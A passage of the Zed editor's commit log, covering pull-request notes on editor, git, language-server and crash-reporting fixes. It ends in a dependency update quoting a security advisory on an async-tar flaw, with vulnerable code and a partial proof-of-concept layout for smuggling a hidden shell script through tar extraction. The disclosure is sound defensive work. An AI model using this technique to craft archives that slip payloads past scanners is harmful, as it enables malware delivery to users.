curl -sS -v --max-time 15 "https://this-domain-almost-certainly-does-not-exist-abcdefghijklmnopqrstuvwxyz-0123456789-super-duper-extra-long-subdomain-that-nobody-would-ever-register.another-ridiculously-long-and-completely-fake-nonexistent-host-name-9876543210.invalid/api/v1/resources/collections/items/subitems/segment01/segment02/segment03/segment04/segment05/segment06/segment07/segment08/segment09/segment10/segment11/segment12/segment13/segment14/segment15/segment16/segment17/segment18/segment19/segment20/segment21/segment22/segment23/segment24/segment25/segment26/segment27/segment28/segment29/segment30/segment31/segment32/segment33/segment34/segment35/segment36/segment37/segment38/segment39/segment40/segment41/segment42/segment43/segment44/segment45/segment46/segment47/segment48/segment49/segment50/segment51/segment52/segment53/segment54/segment55/segment56/segment57/segment58/segment59/segment60/segment61/segment62/segment63/segment64/segment65/segment66/segment67/segment68/segment69/segment70/segment71/segment72/segment73/segment74/segment75/segment76/segment77/segment78/segment79/segment80/segment81/segment82/segment83/segment84/segment85/segment86/segment87/segment88/segment89/segment90/segment91/segment92/segment93/segment94/segment95/segment96/segment97/segment98/segment99/segment100?param01=value01&param02=value02&param03=value03&param04=value04&param05=value05&param06=value06&param07=value07&param08=value08&param09=value09&param10=value10&param11=value11&param12=value12&param13=value13&param14=value14&param15=value15&param16=value16&param17=value17&param18=value18&param19=value19&param20=value20&param21=value21&param22=value22&param23=value23&param24=value24&param25=value25&param26=value26&param27=value27&param28=value28&param29=value29&param30=value30&param31=value31&param32=value32&param33=value33&param34=value34&param35=value35&param36=value36&param37=value37&param38=value38&param39=value39&param40=value40&param41=value41&param42=value42&param43=value43&param44=value44&param45=value45&param46=value46&param47=value47&param48=value48&param49=value49&param50=value50&the=end"
```

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

**Before** (**Note** the panel is fully coverd by the confirmation
content)

<img width="528" height="817" alt="Screenshot 2026-07-14 at 19 17 53"
src="https://github.com/user-attachments/assets/db0a6b87-2564-4831-9a26-384896ccaefe"
/>


**After** (**Note** the confirmation text is now scrollable again and it
does not cover the full panel anymore)


https://github.com/user-attachments/assets/6c391509-755b-4727-b473-58c21603c4ec

---

Release Notes:

- Agent Panel: Fixed that the sticky `awaiting confirmation` content
could take up the hole agent panel
2026-07-15 08:47:22 +00:00
Xin Zhao 272d4f1cc2 project: Persist workspace diagnostics when closing buffer (#59875)
# Objective

Closes #50739

Many language servers have settings for their diagnostic mode, typically
supporting either "single file" mode or "workspace" mode.

In single file mode, the language server only generates diagnostics for
files that the user has open. When a file is closed, those diagnostics
are cleared. This is the behavior currently implemented in Zed.

However, when a language server runs in workspace mode, we should retain
all diagnostics regardless of whether the corresponding file is open or
closed. As reported in #50739, Zed currently discards these diagnostics
when a buffer is closed, just like in single file mode.

When a buffer is completely closed, Zed triggers a diagnostics update to
perform cleanup:

https://github.com/zed-industries/zed/blob/6e8b0ae150b6140a398a87a3eb1cd4dd1568c504/crates/project/src/lsp_store.rs#L4747-L4773
and the Pulled diagnostics are all cleaned, that's why when closing a
buffer, the diagnostic summary disappeared. This process aggressively
clears all `Pulled` diagnostics, causing the diagnostic summary for the
closed file to disappear.

## Solution

Filter the target language servers when updating diagnostics on buffer
close. If a language server has workspace diagnostics enabled, we skip
clearing its diagnostics.

## Testing

Added two new integration tests in
`crates/project/tests/integration/project_tests.rs`:
1.
`test_diagnostic_summaries_cleared_on_buffer_close_without_workspace_diagnostics`:
Verifies that diagnostics are cleared on buffer close when workspace
diagnostics is disabled.
2.
`test_diagnostic_summaries_retained_on_buffer_close_with_workspace_diagnostics`:
Verifies that diagnostics are retained when workspace diagnostics are
enabled. (This test fails on the current `main` branch).

I have also verified this functionality locally. Both local and remote
development environments work as expected.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- Fixed workspace diagnostics being cleared when closing a buffer.
2026-07-15 08:43:47 +00:00
Xin Zhao 1bad9ca29d languages: Fix Pyright ignoring toolchain when LSP settings are configured (#59990)
# Objective

Closes #55936
Helps #57288

There is a strange behavior for Python users when using basedpyright or
pyright as the language server. As reported in #55936, when no settings
are configured in `lsp.basedpyright.settings`, the language server
correctly receives toolchain information discovered by Zed:
```json
{
  "venvPath": ".",
  "venv": ".venv",
  "python": {
    "pythonPath": "/home/xin/works/test/test_python/.venv/bin/python",
    "defaultInterpreterPath": "/home/xin/works/test/test_python/.venv/bin/python"
  },
  "basedpyright.analysis": {
    "typeCheckingMode": "standard"
  },
  "basedpyright.disableOrganizeImports": true
}
```
However, when the user configures any other settings in
`lsp.basedpyright.settings`, the toolchain information is silently lost.
For example, with the following `settings.json`:
```jsonc
{
  "lsp": {
    "basedpyright": {
      "settings": {
        "analysis": {
          "diagnosticMode": "workspace",
          "typeCheckingMode": "standard",
          "inlayHints.callArgumentNames": true,
          "inlayHints.variableTypes": true,
        },
      },
    }
  }
}
```
The final configuration sent to the language server becomes:
```json
{
  "analysis": {
    "diagnosticMode": "workspace",
    "typeCheckingMode": "standard",
    "inlayHints.callArgumentNames": true,
    "inlayHints.variableTypes": true
  }
}
```
No toolchain information is passed, so the language server ignores the
user's selected Python environment and falls back to whatever virtual
environment it discovers on its own. To make toolchain selection work,
users currently have to manually configure virtual environment settings
themselves (as noted in
https://github.com/zed-industries/zed/issues/57288#issuecomment-4750935341).


This issue was introduced in #48262, which aimed to make the virtual
environment used by basedpyright/pyright configurable. The core logic is
the `should_insert_toolchain` closure, originally designed to check
whether Zed should inject the detected toolchain into the language
server configuration. The intent was: if the user has already configured
a virtual environment in the language server settings, skip the
injection.


https://github.com/zed-industries/zed/blob/d4e43845fa1086512dedafdd2c852d167d005bb0/crates/languages/src/python.rs#L2115-L2128

However, the original logic was inverted — it injected the toolchain
when the user had no settings at all or when they had configured virtual
environment keys. This meant that when the user had LSP settings but no
virtual environment configuration, toolchain injection was skipped, as
reported in #55936.


## Solution

Change the logic defined in `should_insert_toolchain` closure, instead
of insert toolchain when detected virtual environment settings, now we
insert toolchain when no virtual environment settings is detected.

## Testing

Tested locally. The logic change is simple, should be easy for review.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed toolchain selection being ignored when Pyright or Basedpyright
settings are configured without specifying a Python interpreter path
2026-07-15 08:39:19 +00:00
Lukas Wirth 6b6393fb0b Split out RelPath into a separate crate (#61029)
This is necessary to remove some `util` dependencies from crates, as
well as better sharing for our projects. This also includes the WIP
AbsPath abstraction as well as some bug fixes from internal tooling.


Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-15 08:33:25 +00:00
Xin ZhaoandLukas Wirth 47bcfa40d6 workspace: Fix toolchain not recovered correctly in remote development (#60030)
# Objective

Closes #55925
Closes #59094

When a Python project is opened and a toolchain is selected, Zed
stores/persists this choice in the database. When the project is
reopened later, that saved toolchain should be automatically selected.
However, this recovery mechanism requires the associated worktree to be
loaded first.

In local development, the worktrees are loaded first, after which the
toolchain is restored and activated:

https://github.com/zed-industries/zed/blob/4083fc859288fdbc11a94c0b19c359350098e252/crates/workspace/src/workspace.rs#L1916-L1955

But in remote development, the toolchain restoration block runs at the
very beginning of initialization, before any worktrees are loaded:

https://github.com/zed-industries/zed/blob/4083fc859288fdbc11a94c0b19c359350098e252/crates/workspace/src/workspace.rs#L10381-L10413

Because the worktree does not exist yet when the toolchain is processed,
`find_worktree` always returns `None`, and the saved toolchain is never
activated. This breaks toolchain persistence for remote workspaces.

## Solution

Move the toolchain activation block in `open_remote_project_inner` so it
runs after the worktrees have been loaded, matching the sequence used in
`new_local`. This ensures the worktree is present in the project when we
perform the ID lookup and activate the toolchain.

## Testing

Tested locally with a Windows client connecting to a remote Linux
server, verifying that the previously selected virtual environment is
correctly restored upon reopening the workspace.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed Python virtual environments not automatically restoring when
reopening a remote development workspace.

Co-authored-by: Lukas Wirth <lukas@zed.dev>
2026-07-15 08:28:00 +00:00
Remco SmitsandLukas Wirth 995cc07249 git: Add a gpg wrapper script to route GnuPG prompts via the askpass UI (#58791)
This PR adds support for entering your git GPG passphrase through the
askpass UI. As a daily Zed user I'm really missing this feature, this
forces me to switch to a terminal or an external application. which is
not ideal for me and most people that are forced to use GPG signing.

Right now Zed can show a similar error (redacted) when you are trying to
commit with GPG signing enabled:
```
error: gpg failed to sign the data:
[GNUPG:] KEY_CONSIDERED <redacted> 2
[GNUPG:] BEGIN_SIGNING H8
[GNUPG:] PINENTRY_LAUNCHED 4625 curses 1.3.2 - xterm-ghostty - - 501/20 0
gpg: signing failed: Inappropriate ioctl for device
[GNUPG:] FAILURE sign <redacted>
gpg: signing failed: Inappropriate ioctl for device

fatal: failed to write commit object
```

Here is the key configurion parts of my **global** git config:

```
[user]
	name = Remco Smits
	email = <redacted>
	signingkey = <redacted>
[commit]
	gpgsign = true
[tag]
	gpgsign = true
```

**Before**


https://github.com/user-attachments/assets/60a06574-92f1-45df-a29a-8ae11db6751d

**After**


https://github.com/user-attachments/assets/92b648e9-b538-4ce5-af4c-136689d14e1a


**How to test this?**
1. Create a key `gpg --full-generate-key`
2. Run `git config --global user.signingkey <KEY ID>`
3. Run `git config --global commit.gpgsign true`
4. Run & copy result from `gpg --armor --export <KEY ID>` and submit
your public key to github
[https://github.com/settings/gpg/new](https://github.com/settings/gpg/new)
5. Make a change and try committing
6. See that it promts for your passphrase :)

**Note**: I used AI as an assistant to write this PR

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Git: Passphrase prompts from GPG to unlock commit signing keys are now
shown in Zed.

Co-authored-by: Lukas Wirth <lukas@zed.dev>
2026-07-15 08:27:31 +00:00
Philipp Schaffrath e963df8029 gpui: Linux wayland set exclusive zone and edge (#60163)
# Objective

The exclusive zone and exclusive edge of a wlr-layer-shell surface could
only be set once, at creation, through `LayerShellOptions`. This adds
runtime setters so a live layer-shell window such as a panel can update
them without being recreated.

## Solution

Add two methods on `Window`:

- `set_exclusive_zone` updates how much screen space the surface
reserves. A positive value reserves that distance from the anchored
edge, 0 lets the surface be moved out of others' exclusive zones, and -1
ignores reserved space and may extend under other surfaces.
- `set_exclusive_edge` chooses which anchored edge the exclusive zone
applies to, which is needed to disambiguate a corner-anchored surface.

Setting an exclusive edge the surface is not anchored to is a fatal
protocol error, so the edge is validated (it must be a single edge that
the surface anchor contains) and an invalid edge is logged and ignored.
The same validation now also guards the creation path. Both setters only
commit the surface when a change actually applies, and are no-ops on
non-layer-shell windows and on other platforms.

This is where these 2 are documented:

https://wayland.app/protocols/wlr-layer-shell-unstable-v1#zwlr_layer_surface_v1:request:set_exclusive_zone

https://wayland.app/protocols/wlr-layer-shell-unstable-v1#zwlr_layer_surface_v1:request:set_exclusive_edge

## Testing

- Verified with a small local layer-shell window (a top bar anchored
TOP, LEFT, RIGHT) with buttons that call the setters at runtime
- No automated test was added, since this calls through to the
compositor.
- Reviewers without a layer-shell capable compositor (for example
GNOME/Mutter) cannot exercise this, as `zwlr_layer_shell_v1` is
unavailable there, I tested this on the
[Smithay](https://github.com/Smithay/smithay/) based compositor
[niri](https://github.com/niri-wm/niri)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
2026-07-15 08:18:46 +00:00
Kirill Bulatov 1063107f5e Show download percentage in download button's tooltip (#60990)
Closes https://github.com/zed-industries/zed/discussions/60944

<img width="568" height="143" alt="downloads"
src="https://github.com/user-attachments/assets/e5643106-a0c9-496c-bff2-300faad38839"
/>



Release Notes:

- Started to show download percentage in download button's tooltip
2026-07-15 07:39:33 +00:00
Ben Kunkle d224ea86e8 Add a bespoke LSP request path for edit prediction context (#60947)
Closes EP-193

Edit prediction context collection previously reused the editor
goto-definition / goto-type-definition path, which resolves every LSP
result into a `LocationLink` — opening a buffer per target (worktree
creation, buffer registration, anchor conversion) before edit prediction
gets a chance to filter. On remote projects the host additionally
created a peer-visible buffer per link and the client waited on each
one.

This adds a bespoke request path that returns raw results first and only
does the expensive work for results that survive filtering:

- New `EditPredictionDefinition { path: ProjectPath, range:
Range<Unclipped<PointUtf16>> }` boundary type. LSP wire types never
leave `lsp_command.rs`; the workspace-only filter and URI→`ProjectPath`
resolution happen while normalizing the LSP response, before any buffer
exists, so the type encodes the workspace-only invariant.
- New `GetEditPredictionDefinitions` /
`GetEditPredictionTypeDefinitions` LSP commands and proto messages.
Responses carry only path + UTF-16 range — the host never calls
`create_buffer_for_peer` and the client never waits on remote buffers.
- One public API: `Project::edit_prediction_definitions(buffer,
position, include_type_definitions, cx)` fires both LSP requests
concurrently and returns a merged, deduped list ("not capable" = empty).
The definition/type-definition split was never used downstream, so
`CacheEntry` now holds a single list and the fetch pipeline runs one
task per identifier.
- `edit_prediction_context` dedupes raw results before opening buffers;
survivors open via `project.open_buffer(ProjectPath)` (skipping the
invisible-worktree/yarn machinery of `open_local_buffer_via_lsp`, and
working identically on remote projects), then clip → anchor →
`MAX_TARGET_LEN`.
- Removes the `workspace_only` flag from `GetDefinitions` /
`GetTypeDefinitions`: edit prediction was its only user. The editor path
always sent `false`, which proto3 doesn't encode, so normal
goto-definition requests are wire-identical; old peers still sending
`true` get unfiltered results (graceful degradation). The proto field
numbers are `reserved`.

Tested with a local test proving filtering precedes buffer opening (an
out-of-workspace target never spawns a worktree, an oversized target is
excluded from related files) and a collab test proving the remote
round-trip returns correct paths/ranges without opening buffers on the
client.

Release Notes:

- N/A
2026-07-15 01:54:27 +00:00
Richard Feldman 31f1c84909 crashes: Capture glibc's abort diagnostic in crash reports (#60624)
Linux crash reports for runtime-initiated aborts currently carry no
information about why the runtime aborted. A sizable family of Sentry
issues (FR-108 / [ZED-9SC](https://zed-dev.sentry.io/issues/7581925141/)
among them) consists of glibc's malloc integrity checks detecting heap
corruption and aborting from inside `malloc`/`realloc`/`free`, so each
event lands on a random victim stack and the underlying problem stays
invisible and ungroupable.

glibc records the diagnostic it prints before aborting ("free(): invalid
pointer", "double free or corruption", assertion failures,
stack-smashing reports) in the private `__abort_msg` global specifically
so it can be recovered post-mortem. This resolves that symbol's address
at startup and sends it to the crash-handler process; when a crash comes
in, the handler reads the message out of the crashed process's memory
with `process_vm_readv` while the client is still parked in its signal
handler awaiting the dump acknowledgement. The message is then attached
to crash uploads as a searchable `abort_message` tag plus a full-text
context. The crashed process does no work itself, which matters because
in exactly these crashes the crashed thread may hold the allocator's
arena lock, so it cannot safely allocate or format anything. Everything
degrades gracefully to the current behavior when the symbol is
unavailable (musl, future glibc changes).

With the tag in place, Sentry fingerprint rules can fold these
corruption aborts into a single tracked issue instead of minting a new
single-event issue per victim stack, and the message text distinguishes
double-frees from out-of-bounds metadata corruption when hunting the
actual culprit.

Release Notes:

- N/A
2026-07-14 21:47:47 +00:00
Joseph T. Lyons 1e9a452d5b Focus on the history tabs context menu when deploying (#61000)
Release Notes:

- N/A
2026-07-14 21:06:27 +00:00
Ollie Rutherfurd 0162e0ce7c workspace: Add ToggleEditorZoom action to maximize active pane (#53911)
VS Code has a command called "Toggle Maximize Editor Group" (`Cmd+K
Cmd+M`) that expands the active editor pane to fill the entire center
area, hiding editor split panes, but leaving docks and panels visible.
Zed's existing `ToggleZoom` hides all panels and is closer to VS Code's
Zen Mode. VS Code has both — it would be useful for Zed to as well.

This is particularly useful for people working on laptops, and has been
raised before (#32715, #4897, #32860), but the addition of the project
panel alongside the agent panel has made it more relevant. I work with
the editor split vertically, but with the project and agent panels both
visible, on a laptop screen there's really only room for a single editor
pane. This command makes it easy to switch to and from that mode.

**Behavior:**
- New action: `workspace::ToggleEditorZoom`
- When activated, the active editor pane expands to fill 100% of the
center/editor area, hiding sibling split panes
- Docks and panels remain visible and unaffected
- Toggling again restores the previous split layout
- If `ToggleZoom` is active, it unzooms first, then maximizes

Here's a demo:


https://github.com/user-attachments/assets/fcf6748e-6c45-4c4a-8d9f-f106c6cd58ea

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #32715

Release Notes:

- Added `workspace::ToggleEditorZoom` action to maximize the active
editor pane within the center area while keeping panels visible.
2026-07-14 20:36:17 +00:00
Hamza ParachaandMikayla Maki 3cca0b3f14 Show both local and remote checkouts in Recent Projects (#53953)
This fixes #53917.

Recent Projects was treating local and remote workspaces as the same
entry whenever they resolved to the same checkout path. That meant one
could hide the other, and if one of them was already open, the picker
could end up hiding both.

This change keeps the deduplication and picker filtering keyed on both
the workspace location and the path list, so local and remote copies of
the same repo can both appear when they should.

## Test plan
- `rustfmt --edition 2024 crates/recent_projects/src/recent_projects.rs
crates/workspace/src/persistence.rs`
- `git diff --check -- crates/recent_projects/src/recent_projects.rs
crates/workspace/src/persistence.rs`

Release Notes:

- Fixed Recent Projects hiding either the local or remote workspace when
both used the same checkout path.

Co-authored-by: Mikayla Maki <mikayla.c.maki@gmail.com>
2026-07-14 19:17:17 +00:00
Joseph T. Lyons 0188a3a952 Surface the git graph context menu in the git panel's history tab (#60713)
This PR refactors the Git Graph’s commit context menu into its own file
so it can be reused by both the Git Graph and the Git panel’s History
tab.

<img width="511" height="566" alt="SCR-20260709-qlxt"
src="https://github.com/user-attachments/assets/8f18f22b-21d7-46a0-8ce2-183cf4af86c9"
/>

Also, includes a "Show in Git Graph" option only shown in the history
tab's context menu:


https://github.com/user-attachments/assets/2e30648b-2802-4caa-a99e-2d135e2dc539

Release Notes:

- Surfaced the git graph context menu in the git panel's history tab.
2026-07-14 19:16:37 +00:00
Danilo Leal 27095fe544 git_ui: Improve the staged & unstaged grouping in the git panel (#60976)
Follow up to https://github.com/zed-industries/zed/pull/59884

This PR refines how the git panel behaves when grouping changes by
staging state, with a focus on making staging workflows predictable and
conflict resolution safe.

- Renamed the "Group By" menu options to describe what you actually see:
**"Tracked & Untracked"** (was "Status") and **"Staged & Unstaged"**
(was "Staging").
- When grouping by staged & unstaged, both sections now stay visible
even when empty, showing a placeholder message ("No staged changes yet"
/ "No unstaged changes"). Previously an empty section disappeared
entirely, which made the panel layout jump around as you staged and
unstaged files, and made it harder to tell at a glance that nothing was
staged yet.
- Section header controls are now consistent checkboxes everywhere
(previously a mix of checkboxes and +/− icon buttons), with "Stage All"
/ "Unstage All" tooltips. Headers of empty sections render no checkbox
and don't react to clicks or hover. I appreciate the debate that
happened in the PR linked above about this but I was personally having a
hard time understanding what was the difference in interaction given the
action was exactly the same, we were just having different UIs, which
looked inconsistent.
- Arrow-key navigation now skips over section headers and empty-section
placeholder rows in both flat and tree view, instead of getting stuck or
selecting non-interactive rows — including when jumping to the first or
last entry.
- In the staged & unstaged grouping, a partially staged file appears in
both sections. Each row's checkbox and tooltip now follow the section
it's rendered in: rows in Staged always unstage, rows in Unstaged always
stage — including via shift-click range operations, which now also
support bulk *unstaging* within the Staged section (previously ranges
could only stage). The context menu's Stage/Unstage label follows the
same rule and stays in sync with in-flight staging operations.
- Conflicted files are grouped by whether the current merge marked them
conflicted (rather than raw status), so a conflict you've resolved stays
visible under "Conflicts" until the merge concludes. On top of that,
resolution is now one-way in the UI:
- Ticking a conflicted file's checkbox marks it resolved (stages it).
Once resolved, the checkbox is disabled with a "Conflict marked as
resolved" tooltip — unticking it would silently discard git's record of
the unmerged base/ours/theirs versions, a round-trip git can't actually
perform.
- The same lock applies everywhere the file can be reached: the keyboard
toggle, folder checkboxes in tree view, the Conflicts section header
(disabled once all conflicts are resolved), "Stage All"/"Unstage All" on
the Staged/Unstaged headers, and shift-click range sweeps — none of them
will resolve or un-resolve a conflict as a side effect.
- The explicit `git: unstage file` action still works as a deliberate
escape hatch.

---

Here's a video, where you can see I stage and unstage whole files, make
a partial staging, and get into a merge-conflict state, where the
conflicted files are tagged as resolved:


https://github.com/user-attachments/assets/d27ef9c6-5691-45c1-91ab-c3b152aaaa60

---

Release Notes:

- N/A _(given the feature hasn't been released yet_)
2026-07-14 18:05:11 +00:00
Yara 🏳️‍⚧️ c2ae4dfbcb pickers: Remove picker::ToMultiBuffer action we did not land (#60979)
Missed this when shipping the pickers. The feature is still planned and
tracked in the tracking issue.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-07-14 17:18:23 +00:00
Smit Barmase 19d2b88762 settings_content: Fix globally excluded language servers starting (#60984)
Closes https://github.com/zed-industries/zed/issues/60763

Follow-up to #60000. Global language server exclusions were added to
per-language settings without removing an explicit enable for the same
server, allowing it to still start.

For example, this setting should disable `vtsls` for every language:

```json
{
  "language_servers": ["!vtsls", "..."]
}
```

However, TypeScript’s default configuration explicitly enables `vtsls`,
causing it to still start.

Release Notes:

- Fixed language servers starting despite being disabled globally.
2026-07-14 17:15:05 +00:00
Kirill Bulatov 89f41661ff Properly notify on inline diagnostics toggle (#60978)
Closes https://github.com/zed-industries/zed/issues/60959

Release Notes:

- Fixed inline diagnostics not instantly [dis]appearing after toggling
2026-07-14 16:57:03 +00:00
John Tur dd5f651227 Use more efficient thread pool API on Windows (#60917)
This interface uses fewer syscalls and has less internal synchronization
(since the `TP_WORK` object is not exposed).

Release Notes:

- N/A
2026-07-14 16:40:22 +00:00
renovate[bot]andKirill Bulatov 084cf7b50f Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [async-tar](https://redirect.github.com/dignifiedquire/async-tar) |
workspace.dependencies | minor | `0.5.1` → `0.6.0` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/15138) for more information.

---

### async-tar PAX extension-header desync enables tar entry/content
smuggling
[CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) /
[GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

<details>
<summary>More information</summary>

#### Details
##### Summary

`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an
intermediary
extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX
`x`/`g`
header) instead of to the next *file* entry. POSIX requires a PAX
extended-header
record set to describe the next file entry, never an intervening
extension
header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered
PAX
records into the size computation of whatever raw header it reads next —
and that
header can be an intermediary `L` — the stream cursor is advanced by an
attacker-chosen amount when the `L` body is consumed. The parser then
desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading
subsequent bytes
at the wrong block boundary.

An attacker who can influence a tar stream that an `async-tar` consumer
extracts
can construct an `x → L → file` sequence whose entry list and on-disk
result
differ between `async-tar` and a reference parser. This enables
content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as
benign opaque
data is extracted by `async-tar` as a different file with different
bytes (e.g. an
executable script), and vice versa.

Type confusion / improper validation of the specified quantity (size).
CWE-20,
CWE-843. Severity assessed Medium, consistent with the same defect class
in the
upstream tar-rs / tokio-tar lineage.

##### Affected code

Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest
release) and
current `main` HEAD. Both lack the extension-header guard.

`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,
commit `45814b19295b7398e119c90c57d8c8bf70a798b6`):

```rust
    let file_pos = *next;

    let mut header = current_header.take().unwrap();

    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data {   // <-- no is_extension_header guard
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
            let Some(key) = extension.key().ok() else { continue };
            match key {
                "size" => {
                    let size_str = extension.value()
                        .map_err(|_e| other("failed to parse pax size as string"))?;
                    size = size_str.parse::<u64>()
                        .map_err(|_e| other("failed to parse pax size"))?;
                }
                "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
                "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
                _ => { continue }
            }
        }
    }

    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size
```

and a few lines further down the same function:

```rust
    // Store where the next entry is, rounding up by 512 bytes.
    let size = (size + 511) & !(512 - 1);
    *next += size;                                          // cursor advance = mis-applied PAX size
```

The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX
local
extension into `current_pax_extensions` and then calls `poll_next_raw`
with
`current_pax_extensions.as_deref()` for the *next* raw header. When that
next
raw header is an intermediary GNU longname (handled by the
`is_gnu_longname()`
branch a few lines later), the PAX `size` is applied to it, so `*next`
advances by
the spoofed size rather than the `L` header's own declared size. That is
the
desync.

The buffered PAX records are intended to apply only to the following
*file*
entry; the missing check is whether the raw header currently being sized
is itself
an extension header (`L`/`K`/`x`/`g`).

##### Impact

Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with `async-tar` (e.g. a server endpoint
that
unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that
unpacks
a remote tarball, an archive-preview/scan pipeline) will:

- materialize files / file contents that a POSIX-correct parser (GNU
tar,
  libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.

This breaks any security control that relies on scanning the archive
with one
parser and extracting with `async-tar`: a malware/secret scanner reading
the
stream with GNU tar can be made to see only benign data while
`async-tar` writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer
believes
holds something else. No attacker-controlled local state is required —
only the
ability to influence the bytes of the tar stream that the consumer
extracts.

##### How input reaches the sink (reachability)

The vulnerable path is the library's primary public API for reading
archives:
`Archive::new(reader).entries()` returns an `Entries` stream whose
`poll_next`
drives `poll_next_raw` for every header. Any consumer that iterates
entries (or
calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream
reaches
the sink with no additional configuration. The `reader` need not be a
file — it is
any `AsyncRead`, so an upload buffer, an HTTP response body, or a
decompressor
output all qualify. The only precondition for the desync is that the
stream
contain a PAX local-extension header (`x`) carrying a `size` record
immediately
followed by an intermediary GNU longname (`L`) before the next file
header — a
structure the attacker fully controls in the archive bytes.
Representative
reachable consumers are server endpoints that unpack uploaded
`.tar`/`.tar.gz`
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.

##### Proof of concept

A standalone Rust consumer binary that links the published crates.io
`async-tar = "=0.6.0"` (`default-features = false, features =
["runtime-tokio"]`)
and runs the real `Archive::new(...).entries()` extraction loop (the
same shape
used by real downstream server consumers that unpack uploaded tarballs).
It reads
a tar file and writes each entry to a destination directory, printing
the entry
list `async-tar` surfaces. A second binary hand-crafts the malicious and
benign
tar byte streams.

Malicious archive geometry (block = 512 bytes):

```
B0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)
B1     PAX records  ("<len> size=1024\n")
B2  L  GNU longname header, OWN declared size = 512 (= 1 block)
B3     longname block #&#8203;1  = "GNU_SEES_THIS.txt\0..."   (the name GNU tar uses)
B4     a normal file header "placeholder_A" (size 512)
B5     <-- this block IS a valid tar header for the smuggled file
           "hidden_payload.sh" (size 65)
B6     smuggled payload  "#!/bin/sh\n# SMUGGLED ENTRY...\n"
